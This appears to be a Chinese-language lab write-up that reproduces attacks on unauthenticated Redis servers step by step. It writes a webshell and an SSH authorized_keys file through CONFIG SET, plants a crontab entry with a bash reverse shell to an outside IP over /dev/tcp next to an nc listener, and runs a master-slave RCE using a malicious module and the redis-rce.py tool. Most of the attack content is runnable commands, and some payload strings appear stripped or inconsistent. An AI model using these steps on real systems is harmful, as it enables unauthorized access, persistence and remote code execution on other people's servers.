Redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
Redis默认情况下是绑定在0.0.0.0:6379端口的,如果没有设置密码(一般密码为空)或者密码为弱密码的情况下并且也没有进行有效保护措施,那么处于公网的redis服务就会被任意的用户未授权访问,读取数据,甚至利用redis自身的命令,进行写入文件操作,这样就会恶意攻击者利用redis未授权漏洞进行进一步攻击。
在正式开始介绍复现过程前,先说明一下我复现的是最严重的漏洞利用情况即以root身份登录redis服务写入ssh公钥实现使用ssh免密登录受害主机。现在先说明一下SSH免密登录的原理(已经了解的童靴们可以直接跳过hhh):
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证也就是我们想要的免密登录了,这里我只简单说一下密钥验证的原理。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
攻击机: windows11: 192.168.110.155
靶机: kali: 192.168.110.40
第一步 wget http://download.redis.io/releases/redis-2.8.17.tar.gz#下载redis
第二步 tar xzf redis-2.8.17.tar.gz#解压安装包
第三步 cd redis-2.8.17 #进入redis文件夹
第四步 make #在redis-2.8.17文件夹下执行make
第五步 cd src#进入redis-2.8.17文件夹下的src文件夹
第六步 cp redis-server /usr/bin
第七步 cp redis-cli /usr/bin #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
第八步 cp redis-conf /etc/ #返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下
第九步 redis-server /etc/redis.conf #使用/etc/目录下的reids.conf文件中的配置启动redis服务
这里第一次连接redis显示拒绝,查阅了一下 发现是redis版本过高。
注意:如果是版本比较高的redis需要修改redis的配置文件,linux是redis.conf。如果是windows配置文件是redis.windows.conf。将bind前面#注释符去掉,将protected-mode 后面改为no。
修改redis.conf文件后,成功连接(ps:修改后需重启redis服务)
1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经)
还需要具有文件读写增删改查权限(开启web服务器,就可以利用url使用蚁剑进行连接)
config get dir #查看redis数据库路径
config set dir /root/redis-3.2.11# #修改靶机Redis数据库路径
config set dbfilename 1.php #生成1.php文件
set xxx “\r\n\r\n\r\n\r\n”#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx “\r\n\r\n\r\n\r\n”#上传木马可以通过蚁剑连接
save#保存
经过上述代码操作,可以看到4.php文件成功写入到/root/redis-3.2.11文件夹下,且一句话木马成功写入4.php文件里面。如果开启web服务就可以将一句话木马写入网站目录下,那么利用一句话木马就可以得到敏感信息。或者可以通过webshell工具连接。具体步骤可以看下面。这里我用菜刀,蚁剑连接密码就是shell
(不知道如何开启web服务的可以参考这篇文章https://blog.csdn.net/qq_42133828/article/details/88943920)
大家都知道可以通过ssh远程登录另外一台电脑。ssh登录有两种一个是密码登录,一个是密钥登录我们主要看密钥登录是什么流程,公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:
1、客户端生成RSA公钥和私钥
2、客户端将自己的公钥存放到服务器
3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端
4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。
1.当redis以root身份运行。
2.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证。
3.存在/root/.ssh目录,如果不存在我们可以通过一句话木马连接蚁剑创建目录不过可能进不去root目录权限问题可能或者自己mkdir一个目录毕竟是自己搭建靶场。因为.ssh是隐藏目录可以通过ls -la查看有没有。
虚拟机A(192.168.110.40)为靶机
虚拟机B(192.168.110.18)为攻击端;
(1) 在A和B搭建ssh环境并启动,不知道如何搭建的可参考这篇文章 https://blog.csdn.net/wei458199/article/details/103401390
(2)在A中开启redis服务:redis-server /etc/redis.conf ;
(3)在主机A中执行mkdir /root/.ssh命令,创建ssh公钥存放目录(A是作为ssh服务器使用的)
(4)在B中生成ssh公钥和私钥,密码设置为空:
ssh-keygen -t rsa
(5)进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:
(echo -e “\n\n”;cat id_rsa.pub; echo -e “\n\n”)> 1.txt
(7)将1.txt写入redis(使用redis-cli -h ip命令连接主机A,将文件写入):
(redis-cli安装参考:https://www.freesion.com/article/1621162009/)
(8)远程登录主机A的redis服务:redis-cli -h 192.168.0.146 并使用CONFIG GET dir命令得到redis备份的路径
(9)更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):
config set dir /root/.ssh
(10)设置上传公钥的备份文件名字为authorized_keys:
config set dbfilename authorized_keys
(11)在主机B使用ssh免密登录主机A:ssh -i id_rsa [email protected],成功登录:
首先大家要知道crontab是什么,主要是用来定时执行某些任务,如果我们把一些命令放入指定文件里面,那么程序会定时去执行,
相当于是每隔一段时间自动执行命令,不用担心当我们关闭会话或者目标主机关机,这个对我们后期持久化渗透是很有帮助的。
虚拟机A(192.168.110.40)为靶机
虚拟机B(192.168.110.18)为攻击端
攻击机nc监听: nc -lvp 8888
首先我们需要定位到我们需要的文件路径下,因为在/var/spool/cron/crontabs/下如果文件名是root,
那么会定时执行里面的命令。具体步骤如下:
redis-cli -h 192.168.110.40
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx “\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.43.102/8888 0>&1\n\n”
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
在靶机上可以看到成功上传反弹命令
做到这里发现攻击机没有成功收到反弹shell,查阅了写其他大佬的文章发现说
计时任务反弹shell 如果是ubuntu和debian操作系统这个就没有办法利用成功,centos操作系统是可以的利用的
后续在补充
redis主从复制我们简单理解为有两台redis服务器,一个是主,一个是从,
两台服务器的数据是一样的,主服务器负责写入数据,从服务器负责读取数据。
一般一个主服务器有好几个从服务器,且从服务器可能也是其他redis服务器的主服务器。
这样的好处就是如果主服务器或者一个从服务器崩溃不会影响数据完整性,
且读写分开,减轻服务器压力。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
前提条件
4.x-5.x版本的redis,实测3.0.9的不行。并且redis以root用户运行,反正本地5.0.7是可以getshell的
通过脚本实现一键自动化getshell:
1、生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
2、攻击端执行: python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so
参考文章:
https://blog.csdn.net/dreamthe/article/details/123427989
https://www.freebuf.com/vuls/162035.html
https://www.cnblogs.com/xiaozi/p/13089906.html